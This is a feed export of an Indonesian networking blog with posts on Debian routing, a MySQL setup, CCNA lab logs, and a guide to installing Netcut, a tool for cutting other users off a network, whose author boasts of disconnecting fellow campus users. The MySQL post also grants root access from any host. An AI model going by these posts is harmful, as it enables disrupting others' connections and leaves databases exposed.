/&gt;&lt;br /&gt;5. Restart Network&lt;br /&gt;&lt;br /&gt;#/etc/init.d/networking restart&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-4990406295541090562?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4990406295541090562'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4990406295541090562'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/11/setting-router-sederhana-dengan-debian.html' title='Setting Router Sederhana dengan Debian'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-2278114423704974041</id><published>2010-11-12T17:21:00.001-08:00</published><updated>2010-11-12T17:21:50.889-08:00</updated><title type='text'>Membuat Static Route di Debian</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;Pertama-tama kita login sebagai user kemudian ketikan perintah sebagai berikut.&lt;br /&gt;&lt;br /&gt;pico /etc/network/interfaces , lalu edit&lt;br /&gt;&lt;br /&gt;Apabila menggunakan 1 interface saja.&lt;br /&gt;&lt;br /&gt;contoh :&lt;br /&gt;&lt;br /&gt;auto eth0&lt;br /&gt;iface eth0 inet static&lt;br /&gt;address 172.26.78.11&lt;br /&gt;netmask 255.255.255.224&lt;br /&gt;gateway 172.26.78.1&lt;br /&gt;&lt;br /&gt;up route add -net 172.26.78.0 netmask 255.255.255.224 gw 172.26.78.1 down route del -net 172.26.78.0 netmask 255.255.255.0 gw 172.26.78.1&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Apabila menggunakan 2 interface&lt;br /&gt;&lt;br /&gt;contoh :&lt;br /&gt;&lt;br /&gt;auto lo&lt;br /&gt;iface lo inet loopback&lt;br /&gt;&lt;br /&gt;auto eth0&lt;br /&gt;iface eth0 inet static&lt;br /&gt;address 172.26.78.11&lt;br /&gt;netmask 255.255.255.224&lt;br /&gt;network 172.26.78.1&lt;br /&gt;broadcast 172.26.78.31&lt;br /&gt;&lt;br /&gt;post-up route add -net 172.26.78.0 netmask 255.255.255.224 gw 172.26.78.1&lt;br /&gt;&lt;br /&gt;pre-down route del -net 172.26.78.0 netmask 255.255.255.224 gw 172.26.78.1&lt;br /&gt;auto eth1&lt;br /&gt;iface eth1 inet static&lt;br /&gt;address 10.10.1.2&lt;br /&gt;netmask 255.255.255.0&lt;br /&gt;network 10.10.1.0&lt;br /&gt;broadcast 10.10.1.224&lt;br /&gt;gateway 10.10.1.1&lt;br /&gt;save dengan menekan ctrl+o, reboot&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-2278114423704974041?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/2278114423704974041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/2278114423704974041'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/11/membuat-static-route-di-debian.html' title='Membuat Static Route di Debian'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-8387622213687778578</id><published>2010-11-11T21:09:00.000-08:00</published><updated>2010-11-11T21:10:48.779-08:00</updated><title type='text'>MySQL Server in Debian</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;Setelah sekian lama selingkuh ke mikrotik, akhirnya tiba saatnya kembali ke pangkuan tante debi alias debian. Dapet ‘jatah’ ip publik di kantor, walhasil bisa digunakan terutama untuk oprek-oprek. Kebutuhan utama buat ane yaitu web and database server. Pilihan jatoh ke debian, dengan alasan males install laen2 lagi :D&lt;br /&gt;&lt;br /&gt;Rada bingung juga pas mo setting-setting, akhirnya dimulai dengan menginstall database server dulu. Pilihan jatoh ke MySQl heheheh– andalan,,&lt;br /&gt;langsung dah, install MySQL Server&lt;br /&gt;&lt;br /&gt;    #apt-get install mysql-server mysql-client libmysqlclient15-dev&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Installing, Setting, Remotting and Troubleshooting MySQL Server in Debian Box&lt;br /&gt;12 Mar&lt;br /&gt;&lt;br /&gt;Setelah sekian lama selingkuh ke mikrotik, akhirnya tiba saatnya kembali ke pangkuan tante debi alias debian. Dapet ‘jatah’ ip publik di kantor, walhasil bisa digunakan terutama untuk oprek-oprek. Kebutuhan utama buat ane yaitu web and database server. Pilihan jatoh ke debian, dengan alasan males install laen2 lagi :D&lt;br /&gt;&lt;br /&gt;Rada bingung juga pas mo setting-setting, akhirnya dimulai dengan menginstall database server dulu. Pilihan jatoh ke MySQl heheheh– andalan,,&lt;br /&gt;langsung dah, install MySQL Server&lt;br /&gt;&lt;br /&gt;    #apt-get install mysql-server mysql-client libmysqlclient15-dev&lt;br /&gt;&lt;br /&gt;Biasanya, ditengah-tengah instalasi diminta untuk menginputkan root password, just follow the direction, and you will not get lost :D&lt;br /&gt;&lt;br /&gt;…………&lt;br /&gt;start, stop dan restart nya, gunakan command ini :&lt;br /&gt;&lt;br /&gt;    #/etc/init.d/mysql start|stop|restart&lt;br /&gt;&lt;br /&gt;cek apakah server mysqld dah exist atao lom di box sampeyan :&lt;br /&gt;&lt;br /&gt;    #netstat -tap&lt;br /&gt;&lt;br /&gt;Klo service mysqld dah nangkring di list, selamat, mysql anda udah berhasil diinstall. Sudah cukup??hmm blom juga siy, jika nyaman dengan menggunakan console untuk menjalankan query dan lain-lain, maka cukup mpe langkah ini. Terus terang, agak puyeng juga kalo ngliat data via console, walhasil mysql front ane gunakan buat remote mysql server untuk mempermudah proses administrasi datanya.&lt;br /&gt;&lt;br /&gt;First thing to do is, enable remote access to your database server. Saiah menggunakan langkah2 ini :&lt;br /&gt;edit file konfigurasi mysql di /etc/mysql/my.cnf&lt;br /&gt;&lt;br /&gt;    #nano /etc/mysql/my.cnf&lt;br /&gt;&lt;br /&gt;Lanjutkan dengan mengubah parameter bind-address dengan alamat IP server&lt;br /&gt;&lt;br /&gt;    bind-address = 222.111.1.2&lt;br /&gt;&lt;br /&gt;JIka ternyata ada parameter ’skip networking’, beri tanda comment/ “#” dibagian awal parameter tersebut untuk menonaktifkan. Save dan keluar dari editor&lt;br /&gt;&lt;br /&gt;Masuklah ke mysql console&lt;br /&gt;&lt;br /&gt;    #mysql -u root -p&lt;br /&gt;    #enter password = masukin password root&lt;br /&gt;&lt;br /&gt;    mysql&gt;GRANT ALL ON *.* TO root@’%’ IDENTIFIED BY ‘PASSWORD’; //hati2 dengan privileges ini :D&lt;br /&gt;    mysql&gt;update db set Host=’%’ where user=’root’;&lt;br /&gt;    mysql&gt;update user set Host=’%’ where user=’root’;&lt;br /&gt;&lt;br /&gt;//allowing all host to connect to server, untuk membatasi alamat host yang bisa mengakses dan juga database yang bisa diakses, bisa digunakan opsi ini – instead . Misal : host yang bisa melakukan remote address hanya dari alamat 111.222.1.1 dan hanya bisa mengakses database db_pegawai :&lt;br /&gt;&lt;br /&gt;    mysql&gt;update db set Host=’111.222.1.1′ where Db=’db_pegawai’;&lt;br /&gt;    mysql&gt;update user set Host=’111.222.1.1′ where user=’root’;&lt;br /&gt;    mysql&gt;exit&lt;br /&gt;&lt;br /&gt;silakan coba menggunakan mysql front untuk melakukan remote database..upss, i found error while i’m tryin’ to connect use mysql front&lt;br /&gt;&lt;br /&gt;    client doesn’t support authentication protocol  requested by server;consider upgrading mysql client&lt;br /&gt;&lt;br /&gt;usut punya usut, ternyata musti nge update password user di table mysql nya,untuk melakukannya, lakukan sebagai berikut :&lt;br /&gt;&lt;br /&gt;    mysql&gt; UPDATE mysql.user SET Password = OLD_PASSWORD('newpwd')&lt;br /&gt;        -&gt; WHERE Host = 'some_host' AND User = 'some_user';&lt;br /&gt;    mysql&gt; FLUSH PRIVILEGES;&lt;br /&gt;&lt;br /&gt;boom, jalan juga akhirnya di mysql front :) ,, bubye console&lt;br /&gt;&lt;br /&gt;nb : kesalahan yang cukup memalukan terjadi ditengah2 instalasi huhuuh..pas update password mysql.user, ehh malah pake md5(‘password’) segala, walhasil ke blok buat masuk ke root nya ..huhuhuhu, tapi tenang, ada cara buat restore password root mysql nya hehehhe ..cekidot gan&lt;br /&gt;&lt;br /&gt;stop dolo mysql server jika masih jalan :&lt;br /&gt;&lt;br /&gt;    # /etc/init.d/mysql stop&lt;br /&gt;&lt;br /&gt;this is the main execution :D&lt;br /&gt;&lt;br /&gt;    # mysqld_safe --skip-grant-tables &amp;&lt;br /&gt;    [1] 5988&lt;br /&gt;    Starting mysqld daemon with databases from /var/lib/mysql&lt;br /&gt;    mysqld_safe[6025]: started&lt;br /&gt;&lt;br /&gt;sekarang, cobalah untuk login ke mysql via console,,tanpa password tentunya :)&lt;br /&gt;&lt;br /&gt;    #mysql -u root&lt;br /&gt;&lt;br /&gt;hihihiihihih, ada penampakan console mysql and sampeyan bisa ganti password dari sini&lt;br /&gt;&lt;br /&gt;wish u luck and best regards :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-8387622213687778578?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8387622213687778578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8387622213687778578'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/11/mysql-server-in-debian.html' title='MySQL Server in Debian'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5355464089790036557</id><published>2010-08-01T18:57:00.001-07:00</published><updated>2010-08-01T20:00:32.771-07:00</updated><title type='text'>Pemakaian Netcut di Windows 7</title><content type='html'>Beberapa hari ini ada beberapa email tentang cara penggunaan netcut di windows 7. Karena semua pemakai windows 7 tidak bisa menginstall (memakai) netcut di PC atau laptopnya. Maka untuk menjawab pertanyaannya, saya membuat postingan ini. Kebetulan tadi saya bertemu teman saya di kampus yang laptopnya memakai windows 7. Jadi bisa langsung praktek deh. Hasilnya? Pada bubar tuh para mahasiswa baru yang senang buka Facebook gara – gara koneksi di kampus mendadak terputus dan tidak bisa dipakai lagi. Tentunya saya aktifkan kembali setelah beberapa lama. Sebelum melanjutkan posting ini, tentunya kita harus tahu apa netcut itu. Bagi yang belum tahu apa itu netcut, bisa melihat Bebas Berinternet dengan Netcut dan Antinetcut.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Kenapa netcut tidak bisa di pakai di windows 7? Sebenarnya netcut masih bisa dipakai di windows 7. Tetapi yang tidak compatible dengan windows 7 adalah program Winpcap yang telah terintegrasi di netcut. Jadi dalam suatu penginstalan netcut, windows 7 akan menggagalkan proses instal yang berjalan dikarenakan Winpcap yang tidak compatibel tersebut. Winpcap yang terintegrasi dalam master netcut tersebut adalah Winpcap versi 3. Sedangkan yang dibutuhkan windows 7 adalah winpcap minimal versi 4. Tetapi kita masih bisa menginstal netcut dengan winpcap versi 4 kok. Cuma caranya yang berbeda dari biasanya. Untuk diketahui, netcut ini dikhusukan untuk windows XP dan tentunya bisa dipakai di Windows Vista. Bila Vista kamu tidak bisa menggunakan netcut ini, kamu bisa mengikuti trik yang sama dengan trik pemakaian di windows 7 yang akan saya tunjukkan.&lt;br /&gt;&lt;br /&gt;Untuk menginstal Netcut di windows 7 kamu, tentunya kamu harus punya aplikasi (master) netcut untuk di install di laptop atau PC kamu. Kalau masih belum punya netcut, kamu bisa instal di link yang saya berikan dibawah. Setelah kamu download dan extract file RAR nya, kamu ikuti petunjuk dibawah ini :&lt;br /&gt;&lt;br /&gt;   1. Setelah file siap, klik kanan Netcut (netcut.exe) dan pilih “properties”&lt;br /&gt;   2. Form “properties” akan muncul. Cari dan buka tab “Compatibility”&lt;br /&gt;   3. Centang Compatibility Mode “Run this program in compatibility mode for” dan pilih Windows XP. Terserah kamu memilih Windows XP (Service Pack 2) atau Windows XP (Service Pack 3).&lt;br /&gt;   4. Kemudian klik “OK”&lt;br /&gt;   5. Setelah penggantian “Properties” selesai, install netcut yang telah diganti propertiesnya tadi (dengan cara klik 2x netcut.exe atau dengan cara yang lain).&lt;br /&gt;   6. Setelah mencapai setengah proses instal Netcut, akan ada pemberitahuan tentang penginstalan Winpcap dan program Winpcap tidak compatibel dan harus memakai Winpcap versi 4.0.&lt;br /&gt;   7. Lanjutkan saja proses penginstalan Winpcap dengan klik “Next” dan seterusnya sampai penginstalan Netcut selesai.&lt;br /&gt;   8. Setelah Netcut berhasil di instal, buka folder tempat instalan Netcut tadi (bila kamu tidak merubah tempat penginstalan (default), tempat instalan netcut ada di “C:/Program Files/Netcut”).&lt;br /&gt;   9. Di folder hasil penginstalan netcut tersebut ada file yang bernama netcut.exe (hasil penginstalan tadi). Klik kanan netcut.exe tersebut dan pilih “Properties”.&lt;br /&gt;  10. Form “properties” akan muncul. Cari dan buka tab “Compatibility”&lt;br /&gt;  11. Centang Compatibility Mode “Run this program in compatibility mode for” dan pilih Windows XP. Terserah kamu memilih Windows XP (Service Pack 2) atau Windows XP (Service Pack 3).&lt;br /&gt;  12. Kemudian klik “OK” (seperti cara penggantian master netcut tadi).&lt;br /&gt;  13. Prosesnya belum selesai, jadi jangan buka dulu netcut kamu.&lt;br /&gt;  14. Langkah selanjutnya adalah menginstal Winpcap versi 4.&lt;br /&gt;  15. Bila belum punya, silahkan menginstalnya di link yang saya berikan dibawah.&lt;br /&gt;  16. Kamu bisa langsung menginstal Winpcap versi 4 tanpa merubah “Properties” dulu.&lt;br /&gt;  17. Pastikan Winpcap di instal di “C:/Program Files/Winpcap” atau kamu tidak merubah tempat instalan Winpcap karena secara default akan terinstal di “C:/Program Files/Winpcap”.&lt;br /&gt;  18. Kamu akan menerima pesan bahwa versi lama Winpcap telah terinstal, apakah akan uninstall versi lama?&lt;br /&gt;  19. Pilih saja “Yes” dan proses penginstalan Winpcap akan berjalan. Tunggulah sampai selesai.&lt;br /&gt;  20. Beres deh, buka Netcut kamu dan pakailah secara bijaksana.&lt;br /&gt;&lt;br /&gt;Di awal pemakaian netcut, kamu biasanya akan mendapati adapter yang kosong. Bila itu terjadi, klik saja “OK” dan form penggunaan netcut akan kosong juga. Tunggulah sebentar sampai muncul nomor IP Server Wireless dan IP kamu di jaringan wireless tersebut. Bukalah kembali “Choice Netcard” dan pilih adapter yang kamu gunakan. Bila langsung muncul nomor IP Server Wireless dan IP kamu di jaringan wireless tersebut, langsung saja pilih adapter wireless bila kamu menggunakan koneksi Wireless (biasanya bernama “Microsoft”). Klik “OK’. Bila masih belum muncul daftar pengguna jaringan wireless, ganti adapter kamu dengan memilihnya di “Choice Netcard” tadi karena kemungkinan kamu salah menggunakan adapter. Selamat berkreasi….!!!!!!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/5324007/NetCut2.8.1Setup.rar.html"&gt;Download Netcut&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/5299639/WinPcap_4_0_2.exe.html"&gt;&lt;br /&gt;Download Winpcap&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5355464089790036557?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5355464089790036557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5355464089790036557'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/08/pemakaian-netcut-di-windows-7.html' title='Pemakaian Netcut di Windows 7'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-7210183998453414146</id><published>2010-06-04T20:30:00.001-07:00</published><updated>2010-06-04T20:31:32.148-07:00</updated><title type='text'>Kisi - Kisi Ujian CCNA 2 D3 TKJ</title><content type='html'>Lakukan konfigurasi untuk skema jaringan di bawah ini&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/10144856/UASCCNAIID3TKJ.doc.html"&gt;Soal skema&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-7210183998453414146?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7210183998453414146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7210183998453414146'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/06/kisi-kisi-ujian-ccna-2-d3-tkj.html' title='Kisi - Kisi Ujian CCNA 2 D3 TKJ'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-807548632010371380</id><published>2010-05-24T20:50:00.000-07:00</published><updated>2010-05-24T21:36:19.343-07:00</updated><title type='text'>Tugas S1-Sistem Informasi (kelas A)</title><content type='html'>Buatlah bagan / skema jaringan LAN dengan IP Networking 192.166.14.64/26&lt;br /&gt;Skema jaringan meliputi :&lt;br /&gt;  a. Web Server 1 buah&lt;br /&gt;  b. Modem ADSL,&lt;br /&gt;  c. Router PC 1 buah,&lt;br /&gt;  d. DNS Server 1 buah,&lt;br /&gt;Gambar ditulis dengan pensil 2B di atas kertas gambar A4 dan diberi garis tepi dengan jarak 0,5 cm lengkap dengan Identitas mahasiswa, dikumpulkan pada hari Kamis, 27 Mei 2010 &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;contoh skema :&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_uk6ho0aKuDg/S_tRswgkNWI/AAAAAAAAAO0/kAeDkvI-Lus/s1600/lan.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 395px;" src="http://1.bp.blogspot.com/_uk6ho0aKuDg/S_tRswgkNWI/AAAAAAAAAO0/kAeDkvI-Lus/s400/lan.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5475059601376556386" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-807548632010371380?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/807548632010371380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/807548632010371380'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/05/tugas-s1-sistem-informasi-kelas.html' title='Tugas S1-Sistem Informasi (kelas A)'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_uk6ho0aKuDg/S_tRswgkNWI/AAAAAAAAAO0/kAeDkvI-Lus/s72-c/lan.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-839039494618117557</id><published>2010-05-17T14:48:00.000-07:00</published><updated>2010-05-17T14:53:27.832-07:00</updated><title type='text'>Laporan Konfigurasi CCNA</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_uk6ho0aKuDg/S_G6g_xSsSI/AAAAAAAAAOs/IYdsB_2rM_M/s1600/ccna3.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 221px;" src="http://1.bp.blogspot.com/_uk6ho0aKuDg/S_G6g_xSsSI/AAAAAAAAAOs/IYdsB_2rM_M/s400/ccna3.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472360098268623138" /&gt;&lt;/a&gt;&lt;br /&gt;Tugas CCNA SMK YP Colomadu Klass 2&lt;br /&gt;oleh Egar&lt;br /&gt;Setting Router 0&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;en&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#int fa0/0&lt;br /&gt;Router(config-if)#ip address 192.168.11.11 255.255.255.0&lt;br /&gt;Router(config-if)#no shutdown &lt;br /&gt;Router(config-if)#exit &lt;br /&gt;Router(config)#int s2/0&lt;br /&gt;Router(config-if)#ip ad&lt;br /&gt;Router(config-if)#ip address 10.10.10.1 255.255.255.0&lt;br /&gt;Router(config-if)#clo&lt;br /&gt;Router(config-if)#clock r&lt;br /&gt;Router(config-if)#clock rate 64000&lt;br /&gt;Router(config-if)#no shutdown &lt;br /&gt;Router(config-if)#exit &lt;br /&gt;Router(config)#exit &lt;br /&gt;  %SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 192.168.11.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.11.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 32/53/79 ms&lt;br /&gt;&lt;br /&gt;Router#ping 192.168.11.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.11.2, timeout is 2 seconds:&lt;br /&gt;.!!!!&lt;br /&gt;Success rate is 80 percent (4/5), round-trip min/avg/max = 17/33/51 ms&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Setting Router 1&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#int fa0/0&lt;br /&gt;Router(config-if)#ip address &lt;br /&gt;Router(config-if)#ip address 172.16.0.14 255.255.255.128&lt;br /&gt;Router(config-if)#no shutdown &lt;br /&gt;Router(config-if)#exit&lt;br /&gt;Router(config)#int s2/0&lt;br /&gt;Router(config-if)#ip address 10.10.10.2 255.255.255.0&lt;br /&gt;Router(config-if)#clock rate 64000&lt;br /&gt;Router(config-if)#no shutdown &lt;br /&gt;Router(config-if)#exit &lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;&lt;br /&gt;Router#ping 172.16.0.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.1, timeout is 2 seconds:&lt;br /&gt;.!!!!&lt;br /&gt;Success rate is 80 percent (4/5), round-trip min/avg/max = 34/56/79 ms&lt;br /&gt;&lt;br /&gt;Router#ping 172.16.0.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 32/44/79 ms&lt;br /&gt;&lt;br /&gt; 1. Meroute router 0&gt; ke router 1&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;enable&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 172.16.0.0 255.255.255.128 s2/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config&lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 172.16.0.&lt;br /&gt;Translating "172.16.0."...domain server (255.255.255.255)&lt;br /&gt;% Unrecognized host or address or protocol not running.&lt;br /&gt;&lt;br /&gt;Router#ping 172.16.0.14&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.14, timeout is 2 seconds:&lt;br /&gt;.!.!.&lt;br /&gt;Success rate is 40 percent (2/5), round-trip min/avg/max = 31/47/63 ms&lt;br /&gt;&lt;br /&gt;Router#ping 172.16.0.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.1, timeout is 2 seconds:&lt;br /&gt;!.!.!&lt;br /&gt;Success rate is 60 percent (3/5), round-trip min/avg/max = 78/104/156 ms&lt;br /&gt;&lt;br /&gt;Router#ping 172.16.0.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 172.16.0.2, timeout is 2 seconds:&lt;br /&gt;.!.!.&lt;br /&gt;Success rate is 40 percent (2/5), round-trip min/avg/max = 62/62/63 ms&lt;br /&gt;&lt;br /&gt;2. Meroute router 1&gt; ke router 0&gt;&lt;br /&gt;&lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#ip route 192.168.11.0 255.255.255.0 s2/0&lt;br /&gt;Router(config)#exit&lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Router#ping 192.168.11.11&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.11.11, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 15/24/31 ms&lt;br /&gt;&lt;br /&gt;Router#&lt;br /&gt;Router#ping 192.168.11.1&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.11.1, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 63/94/125 ms&lt;br /&gt;&lt;br /&gt;Router#ping 192.168.11.2&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.11.2, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 53/77/109 ms&lt;br /&gt;&lt;br /&gt;Setting Router 2&gt;&lt;br /&gt;&lt;br /&gt;Router&gt;enable &lt;br /&gt;Router#conf t&lt;br /&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;br /&gt;Router(config)#int fa0/0&lt;br /&gt;Router(config-if)#ip address 192.168.15.1 255.255.255.0&lt;br /&gt;Router(config-if)#no shutdown &lt;br /&gt;Router(config-if)#exit &lt;br /&gt;Router(config)#int s2/0&lt;br /&gt;Router(config-if)#ip address 10.10.1.1 255.255.255.0&lt;br /&gt;% 10.10.2.0 overlaps with Serial3/0&lt;br /&gt;Router(config-if)#clock rate 64000&lt;br /&gt;Router(config-if)#no shutdown &lt;br /&gt;Router(config-if)#exit &lt;br /&gt;Router(config)#exit &lt;br /&gt;%SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router#copy running-config startup-config &lt;br /&gt;Destination filename [startup-config]? &lt;br /&gt;Building configuration...&lt;br 